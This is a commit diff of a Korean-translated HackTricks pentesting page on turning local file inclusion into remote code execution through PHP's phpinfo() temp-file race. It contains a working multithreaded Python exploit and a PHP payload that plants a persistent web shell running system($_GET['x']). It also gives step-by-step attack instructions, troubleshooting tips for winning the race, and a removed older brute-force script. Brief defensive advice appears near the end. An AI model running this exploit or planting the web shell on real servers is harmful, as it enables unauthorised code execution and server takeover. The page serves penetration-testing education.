Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']

This commit is contained in:
Translator 2025-09-30 00:54:27 +00:00
parent a802575624
commit eea2958f2d

View File

@ -1,55 +1,160 @@
# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}}
이 취약점을 이용하려면 다음이 필요합니다: **LFI 취약점, phpinfo()가 표시되는 페이지, "file_uploads = on" 및 서버가 "/tmp" 디렉토리에 쓸 수 있어야 합니다.**
이 기법을 악용하려면 다음 항목을 모두 충족해야 합니다:
- phpinfo() 출력을 보여주는 접근 가능한 페이지.
- 제어 가능한 Local File Inclusion (LFI) primitive (예: 사용자 입력에 대한 include/require).
- PHP 파일 업로드가 활성화되어 있어야 함 (file_uploads = On). 모든 PHP 스크립트는 RFC1867 multipart 업로드를 수용하고 업로드된 각 파트에 대해 임시 파일을 생성합니다.
- PHP 워커가 설정된 upload_tmp_dir(또는 기본 시스템 임시 디렉토리)에 쓸 수 있어야 하며, LFI가 해당 경로를 include할 수 있어야 합니다.
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
클래식 write-up 및 원본 PoC:
- 백서: LFI with PHPInfo() Assistance (B. Moore, 2011)
- 원본 PoC 스크립트 이름: phpinfolfi.py (백서 및 미러 참조)
**튜토리얼 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
익스플로잇을 수정해야 합니다 ( **=>**를 **=>**로 변경). 그렇게 하려면 다음을 수행할 수 있습니다:
원본 PoC에 대한 주의 사항
- phpinfo() 출력은 HTML로 인코딩되어 있어 "=>" 화살표가 종종 "=>"로 표시됩니다. 레거시 스크립트를 재사용하는 경우, _FILES[tmp_name] 값을 파싱할 때 두 인코딩을 모두 검색하도록 하세요.
- payload(당신의 PHP 코드), REQ1(패딩을 포함한 phpinfo() 엔드포인트에 대한 요청), 그리고 LFIREQ(LFI sink에 대한 요청)를 대상에 맞게 조정해야 합니다. 일부 대상은 null-byte (%00) terminator가 필요하지 않으며 최신 PHP 버전은 이를 무시합니다. 취약한 sink에 맞게 LFIREQ를 조정하세요.
HTML로 인코딩된 화살표를 매치하기 위한 예제 sed(오래된 Python2 PoC를 실제로 사용하는 경우에만):
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
```
당신은 공격의 시작 부분에서 **payload**를 변경해야 합니다 (예: php-rev-shell의 경우), **REQ1** (이것은 phpinfo 페이지를 가리켜야 하며 패딩이 포함되어야 합니다, 즉: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), 그리고 **LFIREQ** (이것은 LFI 취약점을 가리켜야 합니다, 즉: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 널 문자 공격 시 이중 "%"를 확인하세요)
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### 이론
## Theory
PHP에서 업로드가 허용되면 파일을 업로드하려고 할 때, 이 파일은 서버가 요청 처리를 완료할 때까지 임시 디렉토리에 저장되며, 그 후 이 임시 파일은 삭제됩니다.
- PHP가 multipart/form-data POST로 file field를 받으면, 내용을 임시 파일(upload_tmp_dir 또는 OS default)에 기록하고 경로를 $_FILES['<field>']['tmp_name']에 노출합니다. 해당 파일은 이동/이름 변경되지 않으면 요청 끝에 자동으로 제거됩니다.
- 요점은 임시 이름을 알아내어 PHP가 정리하기 전에 LFI로 포함시키는 것입니다. phpinfo()는 $_FILES를 출력하며 tmp_name을 포함합니다.
- 요청 헤더/파라미터를 부풀려(padding) phpinfo() 출력의 초기 청크를 요청이 끝나기 전에 클라이언트로 플러시하게 만들면, 임시 파일이 여전히 존재하는 동안 tmp_name을 읽고 즉시 그 경로로 LFI를 호출할 수 있습니다.
그런 다음, 웹 서버에서 LFI 취약점을 발견하면 생성된 임시 파일의 이름을 추측하고 삭제되기 전에 임시 파일에 접근하여 RCE를 악용할 수 있습니다.
In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
**Windows**에서는 파일이 일반적으로 **C:\Windows\temp\php**에 저장됩니다.
## Attack workflow (step by step)
**Linux**에서는 파일 이름이 **무작위**이며 **/tmp**에 위치합니다. 이름이 무작위이기 때문에 **어딘가에서 임시 파일의 이름을 추출해야** 하며 삭제되기 전에 접근해야 합니다. 이는 "**phpconfig()**" 함수의 내용 내에서 **변수 $\_FILES**의 값을 읽음으로써 수행할 수 있습니다.
**phpinfo()**
**PHP**는 **4096B**의 버퍼를 사용하며, 버퍼가 **가득 차면** 클라이언트에게 **전송됩니다**. 그런 다음 클라이언트는 **많은 큰 요청을 보낼 수 있습니다** (큰 헤더를 사용하여) **php** 리버스 **쉘을 업로드하고**, **phpinfo()의 첫 번째 부분이 반환될 때까지 기다립니다** (임시 파일의 이름이 있는 곳) 그리고 LFI 취약점을 악용하여 php 서버가 파일을 삭제하기 전에 **임시 파일에 접근하려고 시도합니다**.
**이름을 무작위로 추측하기 위한 Python 스크립트 (길이 = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
1) 레이스에서 지지 않도록 빠르게 shell을 지속시키는 작은 PHP payload를 준비합니다 (파일을 쓰는 것이 일반적으로 reverse shell을 기다리는 것보다 빠릅니다):
```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) phpinfo() 페이지로 대용량 multipart POST를 직접 전송하여 페이로드가 포함된 임시 파일이 생성되게 한다. 조기 출력을 유도하기 위해 여러 헤더/쿠키/파라미터를 약 510KB 정도의 패딩으로 부풀려라. form 필드 이름이 $_FILES에서 파싱할 이름과 일치하는지 확인하라.
3) phpinfo() 응답이 아직 스트리밍 중일 때, 부분적으로 수신된 바디를 파싱해 $_FILES['<field>']['tmp_name'] (HTML-encoded)를 추출하라. 전체 절대 경로(예: /tmp/php3Fz9aB)를 확보하자마자 해당 경로를 포함하도록 LFI를 발동시켜라. include()가 임시 파일이 삭제되기 전에 실행되면 페이로드가 실행되어 /tmp/.p.php가 생성된다.
4) 생성된 파일을 사용하라: GET /vuln.php?include=/tmp/.p.php&x=id (또는 LFI로 포함할 수 있는 경로)로 명령을 안정적으로 실행할 수 있다.
> 팁
> - 레이스에서 이길 확률을 높이려면 여러 병렬 워커(workers)를 사용하라.
> - 일반적으로 도움이 되는 패딩 위치: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. 대상에 맞게 조정하라.
> - 취약한 sink가 확장자(예: .php)를 덧붙인다면 null byte는 필요 없다; include()는 임시 파일 확장자와 관계없이 PHP를 실행한다.
## Minimal Python 3 PoC (socket-based)
아래 스니펫은 핵심 부분에만 초점을 맞추어 legacy Python2 스크립트보다 수정하기 쉽다. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), 및 PAYLOAD를 커스터마이즈하라.
```python
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## 문제 해결
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
- Output doesnt flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers wont flush until larger thresholds; adjust accordingly.
- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
## 방어상의 주의사항
- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
- Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.
## 관련 HackTricks 기법
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## 참고자료
- LFI With PHPInfo() Assistance whitepaper (2011) Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}}